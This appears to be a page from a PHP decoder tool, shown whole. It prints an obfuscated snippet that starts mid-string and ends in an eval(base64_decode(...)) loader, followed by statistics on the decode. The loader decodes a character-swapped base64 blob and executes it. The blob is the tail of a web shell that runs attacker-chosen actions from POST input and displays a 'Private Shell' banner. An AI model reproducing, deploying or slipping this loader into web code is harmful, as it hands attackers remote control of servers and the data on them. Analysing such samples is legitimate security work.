XB0eSgkX1BPU1RbJzEnXSkgKQ0KICAgIDRmKDRzczV0KCRkNWYxM2x0XzFjdDQybikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJGQ1ZjEzbHRfMWN0NDJuKSkNCiAgICAgICAgJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47DQogICAgNWxzNQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICdTNWNJbmYyJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnMWN0NDJuJyAuICRfUE9TVFsnMSddKSApDQogICAgYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7DQo/Pg0KPGQ0diA0ZD0iYzJ0X3RsX2Y0eDVkIj48bTFycTM1NT5QcjR2MXQ1IFNoNWxsIC0gVzRyNWw1c3MgY3I1dyAmYzJweSBDMnB5bDVmdCBhMDA5IC1QcjJfVzRrNGw1MWtzIDwvbTFycTM1NT48L2Q0dj4NCkgxY2s1ci1uNXdiNDUuMnJnIDwvbTFycTM1NT48L2Q0dj4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
| strtr | 1 |
| ereg_replace | 1 |
| base64_decode | 2 |
Stats
| MD5 | f347baa72c2ad65f573f8b72e496aba3 |
| Eval Count | 1 |
| Decode Time | 1133 ms |